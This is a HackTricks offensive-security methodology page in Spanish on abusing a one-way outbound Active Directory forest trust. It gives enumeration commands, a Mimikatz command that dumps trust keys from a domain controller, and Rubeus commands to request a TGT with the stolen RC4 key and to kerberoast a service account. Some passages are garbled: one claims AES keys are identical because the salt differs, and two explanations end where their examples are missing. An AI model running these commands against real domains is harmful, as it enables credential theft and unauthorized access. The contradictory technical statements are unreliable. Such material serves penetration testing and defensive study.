hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md

7.9 KiB

Dominio Forestal Externo - Unidireccional (Saliente)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

En este escenario, tu dominio está confiando algunos privilegios a un principal de dominios diferentes.

Enumeración

Confianza Saliente

# Notice Outbound trust
Get-DomainTrust
SourceName      : root.local
TargetName      : ext.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain             : root.local
GroupName               : External Users
GroupDistinguishedName  : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain            : root.io
MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)

Ataque a la cuenta de confianza

Cuando se establece una confianza de dominio o bosque de Active Directory desde un dominio B a un dominio A (B confía en A), se crea una cuenta de confianza en el dominio A, llamada B. Kerberos trust keys. Estas claves se derivan de la contraseña de la cuenta de confianza y se utilizan para encriptar los TGTs inter-realm, cuando los usuarios del dominio A solicitan tickets de servicio para servicios en el dominio B.

Es posible obtener la contraseña y el hash de la cuenta de confianza desde un Controlador de Dominio utilizando:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local

El riesgo se debe a que la cuenta de confianza B$ está habilitada, el Grupo Principal de B$ es Domain Users del dominio A, cualquier permiso otorgado a Domain Users se aplica a B$, y es posible utilizar las credenciales de B$ para autenticarse en el dominio A.

{% hint style="warning" %} Por lo tanto, desde el dominio de confianza es posible obtener un usuario dentro del dominio confiable. Este usuario no tendrá muchos permisos (probablemente solo Domain Users), pero podrás enumerar el dominio externo. {% endhint %}

En este ejemplo, el dominio de confianza es ext.local y el confiable es root.local. Por lo tanto, se crea un usuario llamado EXT$ dentro de root.local.

# Use mimikatz to dump trusted keys
lsadump::trust /patch
# You can see in the output the old and current credentials
# You will find clear text, AES and RC4 hashes

Por lo tanto, en este punto tenemos la contraseña en texto claro y la clave secreta de Kerberos de root.local\EXT$. Las claves secretas AES de Kerberos de root.local\EXT$ son idénticas a las claves de confianza AES, ya que se utiliza una sal diferente, pero las claves RC4 son las mismas. Por lo tanto, podemos utilizar la clave de confianza RC4 extraída de ext.local para autenticarnos como root.local\EXT$ frente a root.local.

.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt

Con esto puedes comenzar a enumerar ese dominio e incluso obtener tickets de Kerberos de los usuarios:

.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local

Obtención de la contraseña de confianza en texto claro

En el flujo anterior se utilizó el hash de confianza en lugar de la contraseña en texto claro (que también fue extraída por mimikatz).

La contraseña en texto claro se puede obtener convirtiendo la salida [ CLEAR ] de mimikatz de hexadecimal y eliminando los bytes nulos '\x00':

A veces, al crear una relación de confianza, el usuario debe ingresar una contraseña para la confianza. En esta demostración, la clave es la contraseña de confianza original y, por lo tanto, legible para los humanos. A medida que la clave cambia (cada 30 días), la contraseña en texto claro ya no será legible para los humanos pero técnicamente aún utilizable.

La contraseña en texto claro se puede utilizar para realizar autenticación regular como la cuenta de confianza, como alternativa a solicitar un TGT utilizando la clave secreta de Kerberos de la cuenta de confianza. Aquí, consultando root.local desde ext.local para miembros de Domain Admins:

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥